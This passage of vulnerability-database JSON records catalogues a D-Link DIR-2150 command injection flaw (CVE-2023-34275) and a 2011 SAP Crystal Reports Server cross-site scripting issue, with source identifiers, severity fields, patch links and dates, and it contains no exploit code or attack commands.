"db": "NVD", "id": "CVE-2023-34275" } ], "data": [ { "db": "NVD", "id": "CVE-2023-34275", "trust": 2.4 }, { "db": "ZDI", "id": "ZDI-23-631", "trust": 1.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-20553", "trust": 0.7 }, { "db": "CNVD", "id": "CNVD-2024-33401", "trust": 0.6 }, { "db": "VULMON", "id": "CVE-2023-34275", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-33401" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-33401" } ], "data": [ { "category": [ "Network device" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-23-631" }, { "db": "CNVD", "id": "CNVD-2024-33401" } ], "data": [ { "title": "Fixed in Firmware v1.06", "url": "https://support.dlink.com.au/download/download.aspx?product=dir-2150", "trust": 0.7 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/571201", "title": "D-Link DIR-2150 has a remote code execution vulnerability patch", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "ZDI", "id": "ZDI-23-631" }, { "db": "CNVD", "id": "CNVD-2024-33401" }, { "db": "VULMON", "id": "CVE-2023-34275" }, { "db": "NVD", "id": "CVE-2023-34275" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2023-34275" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-78" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-23-631" }, { "db": "CNVD", "id": "CNVD-2024-33401" }, { "db": "VULMON", "id": "CVE-2023-34275" }, { "db": "NVD", "id": "CVE-2023-34275" } ], "data": [ { "url": "https://www.zerodayinitiative.com/advisories/zdi-23-631/", "trust": 1.1 }, { "url": "https://support.dlink.com.au/download/download.aspx?product=dir-2150", "trust": 0.7 }, { "url": "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-34275", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-23-631", "date": "2023-06-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2024-33401", "date": "2024-07-22T00:00:00" }, { "db": "NVD", "id": "CVE-2023-34275", "date": "2024-05-03T12:50:34.250000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "ZDI", "id": "ZDI-23-631", "date": "2023-05-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2024-33401", "date": "2024-07-17T00:00:00" }, { "db": "NVD", "id": "CVE-2023-34275", "date": "2024-05-03T02:15:26.490000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "ZDI", "id": "ZDI-23-631" } ], "data": "D-Link DIR-2150 SetNTPServerSettings Command Injection Remote Code Execution Vulnerability", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2023-34275", "last_update_date": "2024-07-23T22:40:05.297000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202305-1588", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201103-0371](https://vulnerability.circl.lu/vuln/var-201103-0371) ```json { "id": "VAR-201103-0371", "affected_products": { "sources": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1084" } ], "data": [ { "vendor": "sap", "model": "crystal reports server", "version": "2008", "scope": "eq", "trust": 7.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" } ], "data": [ { "severity": [ { "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "d2473478-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 }, { "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d", "value": "LOW", "author": "IVD", "trust": 0.2 } ], "cvssV2": [ { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "d2473478-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1084" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" } ], "data": "SAP Crystal Reports Server is a complete reporting solution for creating, managing, and delivering reports through the web or embedded enterprise applications. There is an input validation error in SAP Crystal Reports Server. The input passed to aa-open-inlist.jsp via the \\\"url\\\", \\\"sWindow\\\", \\\"BEGIN_DATE\\\", \\\"END_DATE\\\", \\\"CURRENT_DATE\\\" and \\\"CURRENT_SLICE\\\" parameters is missing before returning to the user. Filtering can lead to cross-site scripting attacks", "trust": 6.48, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1084" } ], "data": [ { "db": "BID", "id": "46855", "trust": 5.4 }, { "db": "SECUNIA", "id": "43723", "trust": 5.4 }, { "db": "CNVD", "id": "CNVD-2011-1086", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1087", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1085", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1089", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1090", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1084", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1083", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1078", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-1080", "trust": 0.8 }, { "db": "IVD", "id": "D10C1F4C-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "CFB685EC-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "D2473478-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "DCC32308-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "DB50DDD0-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "D3FBF61E-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "D5A6C462-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "DFB80812-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "D9FF9D18-1F9B-11E6-ABEF-000C29C66E3D", "trust": 0.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1084" } ], "data": true, "trust": 7.56469534, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1084" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 7.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1084" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/3290", "title": "Patch for SAP Crystal Reports Server \\\"analyticToken\\\" parameter vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3283", "title": "Patch for SAP Crystal Reports Server \\\"backURL\\\" parameter vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3292", "title": "Patch for SAP Crystal Reports Server Parameter Input Vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3289", "title": "Patch for SAP Crystal Reports Server \\\"Sel\\\" parameter vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3285", "title": "Patch for SAP Crystal Reports Server \\\"pagePos\\\" parameter vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3287", "title": "Patch for SAP Crystal Reports Server Multiple Parameter Vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3293", "title": "Patch for SAP Crystal Reports Server \\\"DocName\\\" and \\\"Label\\\" parameter vulnerabilities", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3291", "title": "Patch for SAP Crystal Reports Server \\\"defTar\\\" parameter vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/3288", "title": "Patch for SAP Crystal Reports Server \\\"swf\\\" parameter vulnerability", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1084" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "references": { "sources": [ { "db": "CNVD", "id": "CNVD-2011-1086" }, { "db": "CNVD", "id": "CNVD-2011-1078" }, { "db": "CNVD", "id": "CNVD-2011-1089" }, { "db": "CNVD", "id": "CNVD-2011-1085" }, { "db": "CNVD", "id": "CNVD-2011-1080" }, { "db": "CNVD", "id": "CNVD-2011-1083" }, { "db": "CNVD", "id": "CNVD-2011-1090" }, { "db": "CNVD", "id": "CNVD-2011-1087" }, { "db": "CNVD", "id": "CNVD-2011-1084" } ], "data": [ { "url": "http://secunia.com/advisories/43723/http", "trust": 5.4 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2011-1086", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1078", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1089", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1085", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1080", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1083", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1090", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1087", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1084", "date": "2011-03-15T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "d5a6c462-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1086", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1078", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1089", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1085", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1080", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1083", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1090", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1087", "date": "2011-03-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-1084", "date": "2011-03-15T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-1089" } ], "data": "SAP Crystal Reports Server Parameter input vulnerability", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "IVD", "id": "d10c1f4c-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "cfb685ec-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d2473478-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dcc32308-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "db50ddd0-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d3fbf61e-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "dfb80812-1f9b-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "d9ff9d18-1f9b-11e6-abef-000c29c66e3d" } ], "data": "Input validation error", "trust": 1.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:39:32.874000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201103-0371", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": 